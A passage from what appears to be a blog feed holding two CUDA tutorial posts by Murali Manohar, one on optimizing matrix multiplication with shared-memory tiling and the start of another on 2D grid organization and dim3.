<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__global__</span> <span class="kt">void</span> <span class="nf">matmul_naive</span><span class="p">(</span><span class="kt">float</span><span class="o">*</span> <span class="n">A</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">B</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">C</span><span class="p">,</span> <span class="kt">int</span> <span class="n">M</span><span class="p">,</span> <span class="kt">int</span> <span class="n">N</span><span class="p">,</span> <span class="kt">int</span> <span class="n">K</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">row</span> <span class="o">&lt;</span> <span class="n">M</span> <span class="o">&amp;&amp;</span> <span class="n">col</span> <span class="o">&lt;</span> <span class="n">N</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">float</span> <span class="n">sum</span> <span class="o">=</span> <span class="mf">0.0</span><span class="n">f</span><span class="p">;</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">K</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">sum</span> <span class="o">+=</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">K</span> <span class="o">+</span> <span class="n">k</span><span class="p">]</span> <span class="o">*</span> <span class="n">B</span><span class="p">[</span><span class="n">k</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">];</span>
        <span class="p">}</span>
        <span class="n">C</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">]</span> <span class="o">=</span> <span class="n">sum</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h1 id="problems-with-naive-implementation">Problems with Naive Implementation</h1>

<h2 id="problem-1-global-memory-access">Problem 1: Global Memory Access</h2>

<p>The main issue with this implementation is the following code snippet:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">K</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">sum</span> <span class="o">+=</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">K</span> <span class="o">+</span> <span class="n">k</span><span class="p">]</span> <span class="o">*</span> <span class="n">B</span><span class="p">[</span><span class="n">k</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p>Note: As the matrices, A [M x K] and B [K x N] are large, they are stored in global memory (GRAM).</p>
</blockquote>

<p>In each iteration of the for-loop, we are reading twice from the global memory - one element from A and one element from B. This means for each element in the output matrix, we’re performing K * 2 global memory reads.</p>

<p>This is a significant problem because global memory access is extremely slow compared to other types of memory access in CUDA. Each global memory access can take hundreds of clock cycles, making this a major performance bottleneck.</p>

<h2 id="problem-2-lack-of-coalesced-memory-access">Problem 2: Lack of Coalesced Memory Access</h2>

<p>The second major issue relates to how we’re accessing memory. Let’s break down what’s happening:</p>

<ol>
  <li>For computing C[0,0], a thread needs:
    <ul>
      <li>Entire row A[0,:]</li>
      <li>Entire column B[:,0]</li>
    </ul>
  </li>
  <li>For computing C[0,1], another thread needs:
    <ul>
      <li>The same row A[0,:] again</li>
      <li>Column B[:,1]</li>
    </ul>
  </li>
  <li>This pattern continues, meaning:
    <ul>
      <li>Multiple threads are redundantly reading the same rows from A</li>
      <li>Threads are reading B in a column-wise manner</li>
    </ul>
  </li>
</ol>

<p>This memory access pattern is problematic for two reasons:</p>

<ol>
  <li>
    <p><strong>Redundant Reads</strong>: The same data from matrix A is being read multiple times by different threads, wasting precious memory bandwidth.</p>
  </li>
  <li>
    <p><strong>Non-Coalesced Access</strong>: When reading from matrix B, we’re accessing memory in a column-wise fashion. In CUDA, memory is organized in a way that row-wise (coalesced) access is much more efficient. Column-wise access means:</p>
    <ul>
      <li>Each thread is reading from different memory segments</li>
      <li>We can’t take advantage of CUDA’s memory coalescing</li>
      <li>Memory transactions can’t be combined, leading to more separate memory operations</li>
    </ul>
  </li>
</ol>

<p>Here’s a visual representation of the problem:</p>

<figure>
    <img src="/assets/images/cuda-matmul-optimize/memory-access-diagram.svg" alt="Memory Access Pattern" />
    <figcaption>Memory Access Pattern</figcaption>
</figure>
<figure>
    <img src="/assets/images/cuda-matmul-optimize/memory-layout-diagram.svg" alt="Memory Layout Diagram" />
    <figcaption>Memory Layout Diagram</figcaption>
</figure>

<p>As shown in the diagram above, we have two problematic memory access patterns:</p>

<ol>
  <li>For Matrix A:
    <ul>
      <li>Thread 0 reads all elements in Row 0 ($a_{00}, a_{01}, a_{02}, a_{03}$)</li>
      <li>Thread 1, calculating the next element in the output, needs to read the exact same Row 0</li>
      <li>This redundant reading of the same row wastes memory bandwidth</li>
    </ul>
  </li>
  <li>For Matrix B:
    <ul>
      <li>Thread 0 needs to read all elements in Column 0 ($b_{00}, b_{10}, b_{20}, b_{30}$)</li>
      <li>Thread 1 needs to read all elements in Column 1 ($b_{01}, b_{11}, b_{21}, b_{31}$)</li>
      <li>This column-wise access pattern is non-coalesced, meaning each thread’s memory access can’t be combined into a single transaction</li>
    </ul>
  </li>
</ol>

<p>The blue arrow in Matrix A shows the coalesced (efficient) memory access pattern, while the red arrow in Matrix B shows the non-coalesced (inefficient) pattern. When threads access memory in a non-coalesced way, they can’t take advantage of CUDA’s memory coalescing features, resulting in multiple separate memory transactions instead of a single combined one.</p>

<h1 id="optimization-solution">Optimization Solution</h1>

<h2 id="using-shared-memory">Using Shared Memory</h2>

<p>The key idea is to use CUDA’s shared memory - think of it as a super-fast, small cache that all threads in a block can access together. It’s like having a small whiteboard that a group of students can all read from and write to quickly! This leads us to the question, <strong>why can’t we move A and B matrices into shared memory from Global Memory?</strong> However, unlike Global memory, Shared-memory is small and can only accomodate limited amount of data.</p>

<p>Therefore, we need to find a way to load only a portion of A and B matrices into shared memory. Here, we’ll use a technique called <strong>tiling</strong>.</p>

<h3 id="understanding-tiling">Understanding Tiling</h3>

<p>We can break our matrix multiplication down into smaller, more manageable chunks. This is where tiling comes in - it’s like solving a big puzzle by working on smaller pieces first.</p>

<p>Consider how we compute C[i,j]. We need to perform a dot product between:</p>

<ul>
  <li>Row i of matrix A (size K)</li>
  <li>Column j of matrix B (size K)</li>
</ul>

<p>Instead of doing this all at once, we can break this computation into smaller computational chunks ( or “tiles”).</p>

<figure>
    <img src="/assets/images/cuda-matmul-optimize/dot-product-tiling.png" alt="Dot Product with Tiling" />
    <figcaption>Dot Product with Tiling</figcaption>
</figure>

<p>Looking at the diagram above, we can see that a dot product can be naturally broken down into smaller chunks or “tiles”. Each tile computes a partial dot product, and these partial results are then summed to get the final result.</p>

<h3 id="implementing-tiling-with-shared-memory">Implementing Tiling with Shared Memory</h3>

<figure>
    <img src="/assets/images/cuda-matmul-optimize/tiling-generic-load.png" alt="Tiling Diagram" />
    <figcaption>Tiling w.r.t Matrix Multiplication <a href="https://youtu.be/ccHyFnEZt7M?feature=shared">Source</a></figcaption>
</figure>

<p>Looking at the image, we can see three different memory hierarchies represented: registers (in green), shared memory (in yellow), and the matrices A, B, and C. The purple boxes within each matrix represent our tiles - the subsets of the matrices that we’ll work with at any given time.</p>

<p>Let’s break down how tiling works with shared memory:</p>

<ul>
  <li>Each tile (purple box) represents a portion of the matrix that we’ll load into shared memory. In our example, we’re using 2x2 tiles, though in practice, tile sizes are usually larger (e.g., 16x16 or 32x32) for better performance.</li>
  <li>For matrices A and B, we load their respective tiles into shared memory:
    <ul>
      <li>For matrix A, we load a 2x2 section ($a_{00}, a_{01}, a_{10}, a_{11}$)</li>
      <li>For matrix B, we load the corresponding 2x2 section ($b_{00}, b_{01}, b_{10}, b_{11}$)</li>
    </ul>
  </li>
  <li>Once these tiles are in shared memory, all threads in the block can access them quickly to compute their portion of matrix C.</li>
  <li>Note that in the output matrix C’s tile, we can compute each element of the tile by performing a dot product of the elements of the corresponding tiles of A and B.</li>
</ul>

<figure>
    <img src="/assets/images/cuda-matmul-optimize/tile_matmul.gif" alt="Tiling Diagram" />
    <figcaption>Tiling w.r.t Matrix Multiplication <a href="https://youtu.be/ccHyFnEZt7M?feature=shared">Source</a></figcaption>
</figure>

<p>Looking at the animated visualization, we can see how tiling breaks down the matrix multiplication process:</p>

<p><strong>1. Load Phase</strong></p>

<ul>
  <li>Each block loads a 2x2 tile from matrices A and B into shared memory (shown in purple boxes)</li>
  <li>This means instead of accessing global memory repeatedly, we only need to perform one bulk load operation</li>
</ul>

<p><strong>2. Compute Phase</strong></p>

<ul>
  <li>Once the tiles are in shared memory, threads can quickly access these values</li>
  <li>Each thread computes its portion of the partial dot product using the values in shared memory</li>
  <li>These intermediate results are stored in registers (shown in the green box)</li>
</ul>

<p><strong>3. Accumulate and Slide</strong></p>

<ul>
  <li>After computing the partial results, the tiles “slide” to the next position</li>
  <li>For matrix A, we move horizontally to the next tile</li>
  <li>For matrix B, we move vertically to the next tile</li>
  <li>This process continues until we’ve covered all tiles needed for our final result</li>
</ul>

<p>Here’s how we would implement this optimization in CUDA:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">template</span><span class="o">&lt;</span><span class="kt">int</span> <span class="n">TILE_SIZE</span><span class="p">&gt;</span>
<span class="n">__global__</span> <span class="kt">void</span> <span class="nf">matmul_tiled</span><span class="p">(</span><span class="kt">float</span><span class="o">*</span> <span class="n">A</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">B</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">C</span><span class="p">,</span> <span class="kt">int</span> <span class="n">M</span><span class="p">,</span> <span class="kt">int</span> <span class="n">N</span><span class="p">,</span> <span class="kt">int</span> <span class="n">K</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">__shared__</span> <span class="kt">float</span> <span class="n">tile_A</span><span class="p">[</span><span class="n">TILE_SIZE</span><span class="p">][</span><span class="n">TILE_SIZE</span><span class="p">];</span>
    <span class="n">__shared__</span> <span class="kt">float</span> <span class="n">tile_B</span><span class="p">[</span><span class="n">TILE_SIZE</span><span class="p">][</span><span class="n">TILE_SIZE</span><span class="p">];</span>
    
    <span class="c1">// Calculate global indices</span>
    <span class="k">const</span> <span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">y</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
    <span class="k">const</span> <span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>
    
    <span class="c1">// Local thread indices</span>
    <span class="k">const</span> <span class="kt">int</span> <span class="n">tile_local_row</span> <span class="o">=</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">y</span><span class="p">;</span>
    <span class="k">const</span> <span class="kt">int</span> <span class="n">tile_local_col</span> <span class="o">=</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>
    
    <span class="kt">float</span> <span class="n">sum</span> <span class="o">=</span> <span class="mf">0.0</span><span class="n">f</span><span class="p">;</span>
    
    <span class="c1">// Calculate number of tiles needed</span>
    <span class="k">const</span> <span class="kt">int</span> <span class="n">num_tiles</span> <span class="o">=</span> <span class="p">(</span><span class="n">K</span> <span class="o">+</span> <span class="n">TILE_SIZE</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">TILE_SIZE</span><span class="p">;</span>
    
    <span class="c1">// Iterate over tiles</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">tile_idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">tile_idx</span> <span class="o">&lt;</span> <span class="n">num_tiles</span><span class="p">;</span> <span class="n">tile_idx</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Calculate starting position for this tile</span>
        <span class="k">const</span> <span class="kt">int</span> <span class="n">tile_offset</span> <span class="o">=</span> <span class="n">tile_idx</span> <span class="o">*</span> <span class="n">TILE_SIZE</span><span class="p">;</span>
        
        <span class="c1">// Load elements into tile_A</span>
        <span class="k">const</span> <span class="kt">int</span> <span class="n">a_col_idx</span> <span class="o">=</span> <span class="n">tile_offset</span> <span class="o">+</span> <span class="n">tile_local_col</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">row</span> <span class="o">&lt;</span> <span class="n">M</span> <span class="o">&amp;&amp;</span> <span class="n">a_col_idx</span> <span class="o">&lt;</span> <span class="n">K</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">tile_A</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">]</span> <span class="o">=</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">K</span> <span class="o">+</span> <span class="n">a_col_idx</span><span class="p">];</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">tile_A</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.0</span><span class="n">f</span><span class="p">;</span>
        <span class="p">}</span>
        
        <span class="c1">// Load elements into tile_B</span>
        <span class="k">const</span> <span class="kt">int</span> <span class="n">b_row_idx</span> <span class="o">=</span> <span class="n">tile_offset</span> <span class="o">+</span> <span class="n">tile_local_row</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">b_row_idx</span> <span class="o">&lt;</span> <span class="n">K</span> <span class="o">&amp;&amp;</span> <span class="n">col</span> <span class="o">&lt;</span> <span class="n">N</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">tile_B</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">]</span> <span class="o">=</span> <span class="n">B</span><span class="p">[</span><span class="n">b_row_idx</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">];</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">tile_B</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.0</span><span class="n">f</span><span class="p">;</span>
        <span class="p">}</span>
        
        <span class="n">__syncthreads</span><span class="p">();</span>
        
        <span class="c1">// Compute partial dot product for this tile</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">TILE_SIZE</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">sum</span> <span class="o">+=</span> <span class="n">tile_A</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">k</span><span class="p">]</span> <span class="o">*</span> <span class="n">tile_B</span><span class="p">[</span><span class="n">k</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">];</span>
        <span class="p">}</span>
        
        <span class="n">__syncthreads</span><span class="p">();</span>
    <span class="p">}</span>
    
    <span class="c1">// Write final result</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">row</span> <span class="o">&lt;</span> <span class="n">M</span> <span class="o">&amp;&amp;</span> <span class="n">col</span> <span class="o">&lt;</span> <span class="n">N</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">const</span> <span class="kt">int</span> <span class="n">c_idx</span> <span class="o">=</span> <span class="n">row</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">;</span>
        <span class="n">C</span><span class="p">[</span><span class="n">c_idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">sum</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Let’s break down the key optimizations in this implementation:</p>

<p><strong>1. Shared Memory Usage</strong></p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__shared__</span> <span class="kt">float</span> <span class="n">tile_A</span><span class="p">[</span><span class="n">TILE_SIZE</span><span class="p">][</span><span class="n">TILE_SIZE</span><span class="p">];</span>
<span class="n">__shared__</span> <span class="kt">float</span> <span class="n">tile_B</span><span class="p">[</span><span class="n">TILE_SIZE</span><span class="p">][</span><span class="n">TILE_SIZE</span><span class="p">];</span>
</code></pre></div></div>

<p>We declare shared memory arrays to store our tiles
The TILE_SIZE is typically set to 16 or 32 for optimal performance</p>

<p><strong>2. Tile Loading</strong></p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tile_A</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">]</span> <span class="o">=</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">K</span> <span class="o">+</span> <span class="n">a_col_idx</span><span class="p">];</span>

<span class="n">tile_B</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">]</span> <span class="o">=</span> <span class="n">B</span><span class="p">[</span><span class="n">b_row_idx</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">];</span>
</code></pre></div></div>

<ul>
  <li>Each thread loads one element from global memory into shared memory</li>
  <li>Boundary checks ensure we don’t access out-of-bounds memory</li>
  <li>The loading is done collaboratively by all threads in the block</li>
</ul>

<p><strong>3. Synchronized Loading</strong></p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__syncthreads</span><span class="p">();</span>
</code></pre></div></div>

<p>We use <code class="language-plaintext highlighter-rouge">__syncthreads()</code> to ensure all threads have finished loading data into shared memory before computation begins
This synchronization is crucial to prevent race conditions</p>

<p><strong>4. Computation</strong></p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">TILE_SIZE</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">sum</span> <span class="o">+=</span> <span class="n">tile_A</span><span class="p">[</span><span class="n">tile_local_row</span><span class="p">][</span><span class="n">k</span><span class="p">]</span> <span class="o">*</span> <span class="n">tile_B</span><span class="p">[</span><span class="n">k</span><span class="p">][</span><span class="n">tile_local_col</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The actual computation now uses shared memory instead of global memory, making it much faster.</p>

<h3 id="performance-impact">Performance Impact</h3>

<p>The tiled implementation typically offers significant performance improvements:</p>

<p><strong>1. Reduced Global Memory Access</strong></p>

<p>Instead of <code class="language-plaintext highlighter-rouge">K*2</code> global memory accesses per output element, we now only need <code class="language-plaintext highlighter-rouge">(K/TILE_SIZE)*2</code> global memory loads per thread, followed by <code class="language-plaintext highlighter-rouge">K</code> faster shared memory accesses. Shared memory access is much faster than global memory access (usually 20-30x faster). This results in a significant performance improvement.</p>

<p><strong>2. Better Memory Coalescing</strong></p>

<p>Memory accesses are now organized in a way that better utilizes CUDA’s memory coalescing capabilities
This means fewer memory transactions and better bandwidth utilization</p>

<p><strong>3. Data Reuse</strong></p>

<p>Each loaded tile is used by multiple threads within the block
This significantly reduces redundant memory access</p>

<h1 id="conclusion">Conclusion</h1>

<p>In this post, we’ve explored two major issues with our naive implementation and how tiling can help us overcome them.</p>

<h1 id="references">References</h1>

<ul>
  <li><a href="https://youtu.be/eUuGdh3nBGo?feature=shared">J-Howard - GPU Mode - Going further with CUDA</a></li>
  <li><a href="https://www.youtube.com/watch?v=sRpWrTBOXCc&amp;list=PL5XwKDZZlwaY7t0M5OLprpkJUIrF8Lc9j&amp;index=3">Simon - Matmul in CUDA</a></li>
</ul>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="machine-learning" /><category term="data-science" /><category term="CUDA" /><category term="GPU" /><category term="ML" /><category term="Optimization" /><category term="Performance" /><summary type="html"><![CDATA[Optimizing CUDA matrix multiplication using tiling and shared memory, with detailed explanations of memory access patterns and performance improvements]]></summary></entry><entry><title type="html">CUDA Studylog 2 - Matrix Multiplication and 2D Grid Organization</title><link href="https://gitlostmurali.com/machine-learning/data-science/cuda-matmul" rel="alternate" type="text/html" title="CUDA Studylog 2 - Matrix Multiplication and 2D Grid Organization" /><published>2025-02-07T23:58:10+00:00</published><updated>2025-02-07T23:58:10+00:00</updated><id>https://gitlostmurali.com/machine-learning/data-science/cuda-matmul</id><content type="html" xml:base="https://gitlostmurali.com/machine-learning/data-science/cuda-matmul"><![CDATA[<p>In our <a href="/machine-learning/data-science/cuda-intro">previous post</a>, we explored the basics of CUDA programming through a simple RGB to grayscale conversion in 1D grid and block computation. Now, let’s look into CUDA’s 2D grid structure by tackling something more fundamental to machine learning: matrix multiplication.</p>

<h1 id="understanding-matrix-multiplication">Understanding Matrix Multiplication</h1>

<p>Let’s start by refreshing our understanding of matrix multiplication. For matrices A (M×K) and B (K×N), the result C (M×N) is computed as shown in Figure 1:</p>

<figure>
    <img src="/assets/images/cuda-2/matmul_2d_basic.png" alt="Matrix Multiplication Computation Pattern" />
    <figcaption>Figure 1: Matrix Multiplication Computation Pattern. Each element in C is a dot product of a row of A and a column of B. <a href="https://www.youtube.com/watch?v=sRpWrTBOXCc&amp;list=PL5XwKDZZlwaY7t0M5OLprpkJUIrF8Lc9j&amp;index=3">(Source)</a></figcaption>
</figure>

<p>In traditional CPU code, matrix multiplication would look like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Python implementation
</span><span class="k">def</span> <span class="nf">matmul</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">):</span>
    <span class="n">M</span><span class="p">,</span> <span class="n">K</span> <span class="o">=</span> <span class="n">A</span><span class="p">.</span><span class="n">shape</span>
    <span class="n">K</span><span class="p">,</span> <span class="n">N</span> <span class="o">=</span> <span class="n">B</span><span class="p">.</span><span class="n">shape</span>
    <span class="n">C</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">((</span><span class="n">M</span><span class="p">,</span> <span class="n">N</span><span class="p">))</span>
    
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">M</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">K</span><span class="p">):</span>
                <span class="n">C</span><span class="p">[</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">]</span> <span class="o">+=</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span><span class="p">,</span><span class="n">k</span><span class="p">]</span> <span class="o">*</span> <span class="n">B</span><span class="p">[</span><span class="n">k</span><span class="p">,</span><span class="n">j</span><span class="p">]</span>
    <span class="k">return</span> <span class="n">C</span>
</code></pre></div></div>

<h1 id="mapping-matrix-multiplication-to-cuda-threads">Mapping Matrix Multiplication to CUDA Threads</h1>

<p>When implementing matrix multiplication in CUDA, we need to think about how to map our computation to GPU threads. The key principle, as discussed in our previous post, is to <strong>think in terms of output elements</strong>. <strong>Each thread will be responsible for computing one element</strong> of the output matrix C.</p>

<figure>
    <img src="/assets/images/cuda-2/thread-mapping.png" alt="Matrix Multiplication Computation Pattern in thread perspective" />
    <figcaption>Figure 2: Each thread computes one element of the output matrix by performing a dot product operation <a href="https://www.youtube.com/watch?v=Q3GgbfGTnVc&amp;list=PLU0zjpa44nPXddA_hWV1U8oO7AevFgXnT&amp;index=4">(Source)</a></figcaption>
</figure>

<figure>
    <img src="/assets/images/cuda-2/thread-legend.png" alt="Thread Index Legend" />
    <figcaption>Figure 3: Understanding thread indices in our implementation</figcaption>
</figure>

<h1 id="implementation-approaches">Implementation Approaches</h1>

<h2 id="1-using-1d-grid-the-simple-approach">1. Using 1D Grid (The Simple Approach)</h2>

<p>Our first instinct might be to flatten the 2D output matrix into a 1D array, similar to our grayscale conversion example. Here’s how that would look:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">inline</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">cdiv</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">b</span><span class="p">;}</span>

<span class="n">__global__</span> <span class="kt">void</span> <span class="n">matmul_1d_kernel</span><span class="p">(</span><span class="kt">float</span><span class="o">*</span> <span class="n">A</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">B</span><span class="p">,</span> <span class="kt">float</span><span class="o">*</span> <span class="n">C</span><span class="p">,</span> <span class="kt">int</span> <span class="n">M</span><span class="p">,</span> <span class="kt">int</span> <span class="n">N</span><span class="p">,</span> <span class="kt">int</span> <span class="n">K</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">&gt;=</span> <span class="n">M</span> <span class="o">*</span> <span class="n">N</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
    
    <span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">idx</span> <span class="o">/</span> <span class="n">N</span><span class="p">;</span> <span class="c1">// row index of the output matrix</span>
    <span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">idx</span> <span class="o">%</span> <span class="n">N</span><span class="p">;</span> <span class="c1">// column index of the output matrix</span>
    
    <span class="kt">float</span> <span class="n">sum</span> <span class="o">=</span> <span class="mf">0.0</span><span class="n">f</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">K</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">sum</span> <span class="o">+=</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span> <span class="o">*</span> <span class="n">K</span> <span class="o">+</span> <span class="n">k</span><span class="p">]</span> <span class="o">*</span> <span class="n">B</span><span class="p">[</span><span class="n">k</span> <span class="o">*</span> <span class="n">N</span> <span class="o">+</span> <span class="n">col</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="n">C</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">sum</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p>Note: All code snippets in this post are available in the <a href="https://colab.research.google.com/drive/1YJRS7ot-T9ldLTt1Me_ZarG_NkaaIfWn?usp=sharing">following notebook</a>..</p>
</blockquote>

<p>However, this 1D approach has several limitations:</p>
<ol>
  <li>It makes our code less intuitive and harder to reason about</li>
  <li>It can lead to less efficient memory access patterns</li>
  <li>It doesn’t take advantage of CUDA’s built-in support for multidimensional data</li>
</ol>

<h1 id="understanding-cudas-dim3-type">Understanding CUDA’s dim3 Type</h1>

<p>To address these limitations, we need to understand how CUDA enables multidimensional computation through the <code class="language-plaintext highlighter-rouge">dim3</code> type. The <code class="language-plaintext highlighter-rouge">dim3</code> struct is a fundamental CUDA type that helps organize threads in up to three dimensions.</p>

